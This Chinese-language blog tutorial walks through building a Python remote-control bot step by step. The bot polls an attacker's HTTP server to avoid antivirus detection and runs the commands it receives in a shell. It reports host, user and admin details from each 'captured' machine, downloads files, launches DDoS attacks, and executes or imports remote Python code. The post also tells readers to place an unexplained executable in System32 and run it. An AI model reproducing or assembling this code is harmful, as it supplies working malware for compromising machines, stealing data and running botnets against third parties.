Python 遠程控制
本文僅爲傳遞技術,如您用於非法用途,我們不會也不可能承擔任何責任
本文由中國秦川聯盟旗下氫氟安全組撰寫,原文來自於中國秦川聯盟博客(他*的這幾天服務器崩了),我們不希望您轉載本文,如果有非法爬蟲爬取本文,本聲明依然奏效,中國秦川聯盟有權追責
以上聲明將會覆蓋 CC 4.0 BY-SA 部分協議,爲防止爬蟲,這裏附上本文鏈接https://blog.csdn.net/weixin_42660646/article/details/105276372,如有發現,希望大家聯繫我或者直接聯繫作者刪除,謝謝
網絡上有很多遠程控制的Python腳本,譬如TCP/IP反彈式Shell,相當一部分源碼都是複製粘貼,甚至當我們也複製粘貼到本地也根本無法運行,各種Traceback看得人觸目心驚,甚至再來一個Traceback most recent call last: C++ Error(論Python最恐怖的報錯),就相當的慘淡而扯淡了。
當然也有相當一部分的腳本可以正常運行,他們用socket進行控制,當然還有較爲高級的使用fabric
或者paramiko
的,我這裏就不復制粘貼了,省的有抄襲嫌疑。
網上既然有能運行的Python Shell,我還寫它做甚?當然有原因。這是一個安全性問題,當你自己寫一個socket腳本,腳本模式還好,一旦編譯(pyinstaller
或者py2exe
,當然我自己推薦pyinstaller
,py2exe
貌似不能打包單個文件,至少我用的時候是這樣),某衛士和某管家都是立馬報毒,就算你真的只是一個普通的基於socket的腳本,你沒有軟件的數字簽名這些殺軟也秒送你上西天,fabric
和paramiko
同樣難逃魔爪,想寫個小工具立馬報毒,又怎麼能讓別人放心呢?難不成用戶一人一個Python?當然,我們可以用黑客的方式,使用PyCrypto
對腳本進行加密,不過噁心的是,PyCrypto
這傢伙在Windows上面要多難裝有多難裝,以至於我們團隊有人提到:他*的,我看見這PyCrypto就想罵人(這裏一個星號代表啥你們都懂)。況且明明一個正常的小程序大材小用的用PyCrypto
加密,想着也怎麼不光彩,要是AES加密也被殺軟的病毒研究團隊破解了,這下socket這個庫就廢了。你可以試試百度:Pyinstaller打包報毒
,我保證網頁成捆計數。
那麼這下涼犢子了,我這標題還是Python遠程控制獲取交互式Shell。
經過測試某衛士某管家都不會攔截HTTP請求,因爲在任何一個殺軟看來,HTTP請求都似乎是正常的。那麼我們便找到可乘之隙了,通過一個while True
便可以實現客戶端持續主動連接服務端,雖然HTTP協議也是基於socket,但因爲HTTP Request和普通的socket的報文是不同的,就這樣輕輕鬆鬆繞過了殺軟。基本的HTTP請求是這樣:
import requests
requests.get('Url')
我們在requests的語句套上try
和while
,我們就可以成功實現主動獲取命令了。
它現在看起來像這樣:
import requests, time, json
while True:
try:
commands = json.loads(requests.get('Your URI').text) #使用reqests模塊下載命令(該命令形式必須爲dict),並使用json模塊解析爲dict變量
os.system(commands['cmd']) #執行解析到的參數,我們在dict中加入"cmd"用以存儲
except:
continue
time.sleep(3.9/3/3) #不要問我爲什麼是這個數字,我們團隊的人都知道
可是BUG就又這麼來了,os.system
的BUG是衆多周知的,他不返回值就算了,他%&#±?@的還每次都彈個控制檯窗口,度娘變給了回覆:可以用os.popen
。
它執行和編譯過程中似乎需要一個Windows系統插件,他貌似在新版本的Windows中被移除了,下文的代碼中需要它(並不需要在編譯以後安插在靶機中安插它,只需要安插你所編譯完成的獨立文件)。我這裏附上自家的鏈接,它是從舊的版本的Windows系統上摳出來然後編譯的模塊,你需要將它移動至C:\Windows\System32\client\client.exe
並雙擊運行它。當然,做人要小心謹慎一些,如果需要確認它的安全性,你可以使用查殺率最高的某衛士或者某管家等等的殺軟進行查殺。運行後它應該不會有任何顯示。如果你點擊上面自家的鏈接無法下載,換這個。
我們便很他*高興的用了os.popen
,我們便準備派出測試了,驚人的測試成功了,看到服務器上獲取到的本地返回值,你應該能體會到我們的心情。這時候我們便編譯了它,他很快的報錯了。我們認爲是pyinstaller的問題,重裝了3遍,換了python版本(從3.6.8換成了3.9a3),這@fp#@)'的還是不行,我們變做了一個DEBUG版本,沒有加入-w
參數,意外的是,他竟然沒有報錯???我們便狠下心來,一行一行加try:...except Exception as e:...
,然後把錯誤用win32api(這庫必須從sourceforge上面下載安裝軟件,pip裝不了)的Msgbox把報錯彈出來,錯誤很有趣:WinError 5: 句柄無效。這要不是我開發過一個用Selemuim配合Google Chrome進行的QQ自動化舉報測試軟件,我們絕對要放棄治療。也就是說,我們親愛的os.popen必須在有控制檯的情況下運行,不帶控制檯就沒用。我的朋友就頹廢的說:那好吧,再去找。我們就找到了subprocess
,最開始他還是報錯的,後來在一個博文上找到了答案,我實在是找不到這篇文章在哪裏了,否則我100%上門道謝。
# import subprocess first
try:
p = subprocess.Popen("Enter the command you got from your server here.", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #參數一個都不能差
result = p.stdout.read()
retval = p.wait()
except Exception as e:
print("錯誤:{}".format(e))
print(result.decode('gbk','ignore')) #注意,不加入DECODE函數100%亂碼,'ignore'參數表示忽略錯誤字符
我們將它封裝在函數裏以便於調用:
def run(cmd):
#includes codes above, and replace "Enter the command you got from your server here." to "cmd".
現在它看起來像這樣:
import requests, time, json, subprocess
def run(id, cmd):
try:
p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result = p.stdout.read()
retval = p.wait()
except Exception as e:
print("錯誤:{}".format(e))
while True:
try:
commands = json.loads(requests.get('Your URI').text)
run(commands['cmd'])
except:
continue
time.sleep(3.9/3/3)
我們很高興,這麼幾行代碼就實現了遠程交互,正當我們高興之餘,BUG說來就來,這它*的cd爲啥就沒用,我再怎麼cd desktop
、cd ..
都沒個啥用。還是度娘又一次告訴了我原因:Python的工作目錄未改變。改變工作目錄的方法爲:
#import os first
os.chdir("Your path that you want to change.")
同樣,我們封裝一個函數,如下:
def cd(path):
try:
os.chdir(path)
except Exception as e:
print("錯誤:{}".format(e))
這時候,它看起來像這樣:
import os, requests, time, json, subprocess
def cd(path):
try:
os.chdir(path)
except Exception as e:
print("錯誤:{}".format(e))
def run(id, cmd):
try:
p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result = p.stdout.read()
retval = p.wait()
except Exception as e:
print("錯誤:{}".format(e))
while True:
try:
commands = json.loads(requests.get('Your URI').text)
if commands['cmd'].replace(" ", "") == "cd":
cd(commands['cmd'])
run(commands['cmd'])
except:
continue
time.sleep(3.9/3/3)
目前還沒有定義結果的回調,它看起來像這樣:
def PushResult(result):
data = {
"result": result,
}
while True:
try:
response = post("http://Your Domain or IP address/result/", data=data).text #在服務端傳回的Response中加入200字樣以確保Shell回調運行正常
if "200" in response:
break
else:
raise
except:
print("Failed to push result.")
continue
我們在命令函數中使用PushResult(result)
方式來調用以上的函數。
它還可以被改進:
def PushResult(result):
data = {
"result": result,
}
while True:
try:
response = post("http://Your Domain or IP address/result/", data=data).text #在服務端傳回的Response中加入200字樣以確保Shell回調運行正常
if "200" in response:
break
else:
raise
except ConnectionError:
print("Failed to push result: Remote server does not open.")
continue
except Exception as e:
print("Failed to push result: {}".format(e))
continue
下面的問題是,在我擁有多臺被捕獲的計算機,如何判斷計算機的唯一性?
查詢了度娘,她說MAC是唯一的。我們便搜索的Python獲取Hostname、Username以及MAC等的方式,如下:
# import re, socket, ctypes, uuid
# from requests import get
def IP():
return re.findall(r'\d+.\d+.\d+.\d+', get("http://txt.go.sohu.com/ip/soip").text)[0]
def MAC():
mac=uuid.UUID(int = uuid.getnode()).hex[-12:]
return ":".join([mac[e:e+2] for e in range(0,11,2)])
def HOSTNAME():
return socket.gethostname()
def Is_Admin():
return bool(ctypes.windll.shell32.IsUserAnAdmin() if os.name == 'nt' else os.getuid() == 0)
不過,我們在測試的過程中,發現了其中兩位團隊成員的MAC都驚人的一夜之間發生了變化?!這個問題我們似乎沒有辦法解決,我並不清楚它是否是一個惡作劇。
爲此,我們在Beta版本寫入了以下代碼:
def GUID():
guid = str(uuid.uuid1()).split("-")
guid = guid[1] + guid[2] + guid[4]
return guid
事實上GUID和UUID沒什麼區別,前者的“G”表示“Global”,後者的“U”表示“Universal”。在C系列語言中常將其稱爲GUID,我這裏爲了不和函數名重複,故將其命名爲GUID。
我們目前還需要如下代碼,使捕獲的客戶端上線時我們能夠知曉:
def Online():
mac = MAC()
username = os.environ['USERNAME']
_os = platform.system()
ipv4 = IP()
hostname = HOSTNAME()
admin = is_admin()
guid = GUID()
data = {
"os": _os,
"mac": mac,
"ipv4": ipv4,
"guid": guid,
"username": username,
"hostname": hostname,
"admin": admin,
}
online = post("{}/online/".format("Your Server's Address"), data=data).text
return json.loads(online)[0]["status"] # 這裏的status是服務端傳回的參數
如果你希望使你的腳本跨平臺,那麼你可以這樣:
# import platform
Windows = True if platform.system() == "Windows" else False
Linux = True if platform.system() == "Linux" else False
def Online():
mac = MAC()
username = os.environ['USERNAME'] if Windows else os.environ['NAME'] # 在Linux中儲存用戶名的環境變量爲'USER',這不同於Windows中的'USERNAME'
_os = platform.system()
ipv4 = IP()
hostname = HOSTNAME()
admin = is_admin()
guid = GUID()
data = {
"os": _os,
"mac": mac,
"ipv4": ipv4,
"guid": guid,
"username": username,
"hostname": hostname,
"admin": admin,
}
online = post("{}/online/".format("Your Server's Address"), data=data).text
return json.loads(online)[0]["status"]
這裏我們在主函數中加入Online函數,用以使主控端知曉客戶端的上線。它看起來像這樣:
while True:
try:
Online()
except ConnectionError:
print("Failed to online: Server does not open.")
continue
except Exception as e:
print("Failed to online: {}".format(e))
continue
# includes codes above
我們整合一下代碼,它現在看起來像這樣:
import os, requests, time, json, subprocess
import re, socket, ctypes, uuid
from requests import get
def cd(path):
try:
os.chdir(path)
except Exception as e:
print("錯誤:{}".format(e))
def Online():
mac = MAC()
username = os.environ['USERNAME']
_os = platform.system()
ipv4 = IP()
hostname = HOSTNAME()
admin = is_admin()
guid = GUID()
data = {
"os": _os,
"mac": mac,
"ipv4": ipv4,
"guid": guid,
"username": username,
"hostname": hostname,
"admin": admin,
}
online = post("{}/online/".format("Your Server's Address"), data=data).text
return json.loads(online)[0]["status"]
def StrictOnline():
while True:
try:
Online()
except ConnectionError:
print("Failed to online: Server does not open.")
continue
except Exception as e:
print("Failed to online: {}".format(e))
continue
def run(id, cmd):
try:
p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result = p.stdout.read()
retval = p.wait()
except Exception as e:
print("錯誤:{}".format(e))
while True:
try:
StrictOnline()
commands = json.loads(requests.get('Your URI').text)
if commands['cmd'].replace(" ", "") == "cd":
cd(commands['cmd'])
run(commands['cmd'])
except:
continue
time.sleep(3.9/3/3)
如果你希望你的腳本看起來專業一點,你可以這樣:
import os, requests, time, json, subprocess
import re, socket, ctypes, uuid
from requests import get
def cd(path):
try:
os.chdir(path)
except Exception as e:
print("錯誤:{}".format(e))
def Online():
mac = MAC()
username = os.environ['USERNAME']
_os = platform.system()
ipv4 = IP()
hostname = HOSTNAME()
admin = is_admin()
guid = GUID()
data = {
"os": _os,
"mac": mac,
"ipv4": ipv4,
"guid": guid,
"username": username,
"hostname": hostname,
"admin": admin,
}
online = post("{}/online/".format("Your Server's Address"), data=data).text
return json.loads(online)[0]["status"]
def StrictOnline():
while True:
try:
Online()
except ConnectionError:
print("Failed to online: Server does not open.")
continue
except Exception as e:
print("Failed to online: {}".format(e))
continue
def run(id, cmd):
try:
p = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
result = p.stdout.read()
retval = p.wait()
except Exception as e:
print("錯誤:{}".format(e))
def Main():
while True:
try:
StrictOnline()
commands = json.loads(requests.get('Your URI').text)
if commands['cmd'].replace(" ", "") == "cd":
cd(commands['cmd'])
run(commands['cmd'])
except:
continue
time.sleep(3.9/3/3)
if __name__ == "__main__":
Main()
它和其上的腳本的效果是等同的,因爲這是主程序,你並不需要去調用它,它built-in
的__name__
參數時刻都是__main__
。
這麼一個腳本固然不能滿足計算機愛好者們的意淫,不能讓對方下載文件怎麼能行。代碼如下:
# import shelx first, pip install shelx -i https://pypi.tuna.tsinghua.edu.cn/simple
def download(id, args):
args = shlex.split(args)
url = args[0]
name = args[1]
urltype = args[2]
debug("Downloding {}".format(url))
content = get(url)
if urltype == "wb" or urltype == "ab":
content = content.content
else:
content = content.text
opens = open(name, urltype)
opens.write(content)
opens.close()
PushResult(id, "下載完畢")
上面的參數id
是服務端的命令唯一標識,你可以使用你自己的去替換它。
如果你想要做一個合格的殭屍網絡或者滲透工具,像著名的metasploit framework
一樣,少了網絡攻擊可當然不能過關。
中國秦川聯盟網絡安全部氫氟安全組特此開發了獨立版本,點擊即可下載。它需要上述的組件,同上,你需要將它移動至C:\Windows\System32\client\client.exe
並雙擊運行它。你可以將如下代碼加入被控端主程序:
def ddos(id, args):
args = shlex.split(args)
ip = args[0]
port = args[1]
thread = args[2]
time = args[3]
p = subprocess.Popen("HFDDOS ip --port int(port), --thread int(thread) --time int(time))", shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) # 替換成參數
PushResult(id, "已加入DDOS線程")
我們還添加了一些備用功能,大部分代碼塊並未開源:
def python(id, codes): # 遠程執行Python命令
exec(codes)
PushResult(id, "已執行Python命令")
def importpkg(id, pkg): # 遠程導入Python倉庫
exec("import {}".format(pkg))
PushResult(id, "已導入")
importpkg
直接使用會報錯,因爲在被控端並沒有該模塊。我們可以導入如下模塊:
import sys
import importlib.abc
import imp
from urllib.request import urlopen
from urllib.error import HTTPError, URLError
from html.parser import HTMLParser
# Debugging
import logging
log = logging.getLogger(__name__)
# Get links from a given URL
def _get_links(url):
class LinkParser(HTMLParser):
def handle_starttag(self, tag, attrs):
if tag == 'a':
attrs = dict(attrs)
links.add(attrs.get('href').rstrip('/'))
links = set()
try:
log.debug('Getting links from %s' % url)
u = urlopen(url)
parser = LinkParser()
parser.feed(u.read().decode('utf-8'))
except Exception as e:
log.debug('Could not get links. %s', e)
log.debug('links: %r', links)
return links
class UrlMetaFinder(importlib.abc.MetaPathFinder):
def __init__(self, baseurl):
self._baseurl = baseurl
self._links = { }
self._loaders = { baseurl : UrlModuleLoader(baseurl) }
def find_module(self, fullname, path=None):
log.debug('find_module: fullname=%r, path=%r', fullname, path)
if path is None:
baseurl = self._baseurl
else:
if not path[0].startswith(self._baseurl):
return None
baseurl = path[0]
parts = fullname.split('.')
basename = parts[-1]
log.debug('find_module: baseurl=%r, basename=%r', baseurl, basename)
# Check link cache
if basename not in self._links:
self._links[baseurl] = _get_links(baseurl)
# Check if it's a package
if basename in self._links[baseurl]:
log.debug('find_module: trying package %r', fullname)
fullurl = self._baseurl + '/' + basename
# Attempt to load the package (which accesses __init__.py)
loader = UrlPackageLoader(fullurl)
try:
loader.load_module(fullname)
self._links[fullurl] = _get_links(fullurl)
self._loaders[fullurl] = UrlModuleLoader(fullurl)
log.debug('find_module: package %r loaded', fullname)
except ImportError as e:
log.debug('find_module: package failed. %s', e)
loader = None
return loader
# A normal module
filename = basename + '.py'
if filename in self._links[baseurl]:
log.debug('find_module: module %r found', fullname)
return self._loaders[baseurl]
else:
log.debug('find_module: module %r not found', fullname)
return None
def invalidate_caches(self):
log.debug('invalidating link cache')
self._links.clear()
# Module Loader for a URL
class UrlModuleLoader(importlib.abc.SourceLoader):
def __init__(self, baseurl):
self._baseurl = baseurl
self._source_cache = {}
def module_repr(self, module):
return '<urlmodule %r from %r>' % (module.__name__, module.__file__)
# Required method
def load_module(self, fullname):
code = self.get_code(fullname)
mod = sys.modules.setdefault(fullname, imp.new_module(fullname))
mod.__file__ = self.get_filename(fullname)
mod.__loader__ = self
mod.__package__ = fullname.rpartition('.')[0]
exec(code, mod.__dict__)
return mod
# Optional extensions
def get_code(self, fullname):
src = self.get_source(fullname)
return compile(src, self.get_filename(fullname), 'exec')
def get_data(self, path):
pass
def get_filename(self, fullname):
return self._baseurl + '/' + fullname.split('.')[-1] + '.py'
def get_source(self, fullname):
filename = self.get_filename(fullname)
log.debug('loader: reading %r', filename)
if filename in self._source_cache:
log.debug('loader: cached %r', filename)
return self._source_cache[filename]
try:
u = urlopen(filename)
source = u.read().decode('utf-8')
log.debug('loader: %r loaded', filename)
self._source_cache[filename] = source
return source
except (HTTPError, URLError) as e:
log.debug('loader: %r failed. %s', filename, e)
raise ImportError("Can't load %s" % filename)
def is_package(self, fullname):
return False
# Package loader for a URL
class UrlPackageLoader(UrlModuleLoader):
def load_module(self, fullname):
mod = super().load_module(fullname)
mod.__path__ = [ self._baseurl ]
mod.__package__ = fullname
def get_filename(self, fullname):
return self._baseurl + '/' + '__init__.py'
def is_package(self, fullname):
return True
# Utility functions for installing/uninstalling the loader
_installed_meta_cache = { }
def install_meta(address):
if address not in _installed_meta_cache:
finder = UrlMetaFinder(address)
_installed_meta_cache[address] = finder
sys.meta_path.append(finder)
log.debug('%r installed on sys.meta_path', finder)
def remove_meta(address):
if address in _installed_meta_cache:
finder = _installed_meta_cache.pop(address)
sys.meta_path.remove(finder)
log.debug('%r removed from sys.meta_path', finder)
將以上腳本放在和主程序同目錄下,將其命名爲remoteimport.py
,這時,在頭部加入 :
from remoteimport import install_meta
install_meta("http://Your Remote Pkg Server:Your port")
注意在URI最後不要加上/
,這是不合法的。這時候,我們在主控端的包路徑下如C:\Programs\Python39\Lib\site-packages
(Linux也支持,不過Linux下路徑較多)目錄下執行python -m http.server 端口
,開啓包服務器。
這樣,你自己的被控端就基本搭建完成。如果喜歡的話,記着雙擊麼麼噠 。
本文目前可能並不是最終版本,因爲我們還需要權衡利弊,確保其中的代碼不會被小人所利用。該程序的完整版我們已經開發並可以正常使用,我們很快會截取一些源碼放在本文。我們保證不會向任何組織和個體開放本源碼,因爲只能防得君子防不得小人。敬請關注我以獲取最新消息。
如果您對於這些方面有興趣,您可以私信我或訪問我們的網站(副站:中國秦川聯盟 - 中國站,國際站這幾天崩了)加入我們。